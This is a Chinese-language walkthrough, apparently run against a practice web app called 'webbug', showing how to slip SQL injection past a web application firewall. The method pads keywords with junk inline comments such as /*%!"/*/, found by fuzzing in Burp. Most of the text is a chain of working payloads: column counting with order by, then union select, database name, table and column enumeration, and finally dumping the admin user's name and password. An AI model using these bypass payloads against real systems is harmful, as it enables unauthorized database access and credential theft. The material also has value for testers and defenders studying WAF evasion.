sql注入内联注释过waf

sql注入内联注释过waf

正常输入:1
sql注入内联注释过waf
然后尝试:-1 order by
sql注入内联注释过wafsql注入内联注释过waf

被拦截

然后单独尝试order或者by
sql注入内联注释过waf

单独的order或者by并没有被拦截,内联注释干扰黑名单检测

-1/**/order/**/by 3
sql注入内联注释过waf

只是简单的/**/也被过滤了,那么就在/**/中间加干扰

-1 and 1=1来进行测试,burp抓包,然后在被过滤的关键字前后加注释,注释中间用§ §来进行**定点,配置如下

sql注入内联注释过waf
字符集设置一些字符数字字母随机组合干扰

sql注入内联注释过waf
然后进行**

响应没有显示waf的为**成功的结果

sql注入内联注释过waf
此处采用payload1来进行内联注释的干扰/*%!"/*/

-1/*%!"/*/and/*%!"/*/1=1

sql注入内联注释过waf

由此看出,此时and并没有被waf黑名单检测到

然后进行order by查询-1/*%!"/*/order/*%!"/*/by 3

sql注入内联注释过waf
-1/*%!"/*/order/*%!"/*/by 4
sql注入内联注释过waf

由此可得,查询3项数据

然后union select查询-1/*%!"/*/union/*%!"/*/select 1,2,3

sql注入内联注释过waf
2和3处可以查询自己想要的信息

查database:此处database单个单词没被加黑名单,database()被加黑名单了,那就在database和()中间加注释:-1/*%!"/*/union/*%!"/*/select+1,/*%!"/*/database/*%!"/*/(),3

sql注入内联注释过waf

查询到的database为webbug

然后查表名输入-1可以看到

sql注入内联注释过waf
其中web所用的表是news,如果结果中没news的话,可能是如法错了

用group_concat来查询table_name:-1/*%!"/*/union/*%!"/*/select+1,group_concat(table_name),3/*%!"/*/from information_schema.tables where/*%!"/*/table_schema='webbug'结果如下:

sql注入内联注释过waf
查user表的columns信息

-1/*%!"/*/union/*%!"/*/select 1,group_concat(column_name),3/*%!"/*/from information_schema.columns where/*%!"/*/table_schema='webbug'/*%!"/*/and/*%!"/*/table_name='user'

sql注入内联注释过waf

这里可以查到用户信息以及密码

我们这里查uid=1的用户作为例子:

-1/*%!"/*/union/*%!"/*/select 1,group_concat(uname),group_concat(pwd)/*%!"/*/from webbug.user where/*%!"/*/uid=1

sql注入内联注释过waf

admin用户的信息就查到了

其他表信息同理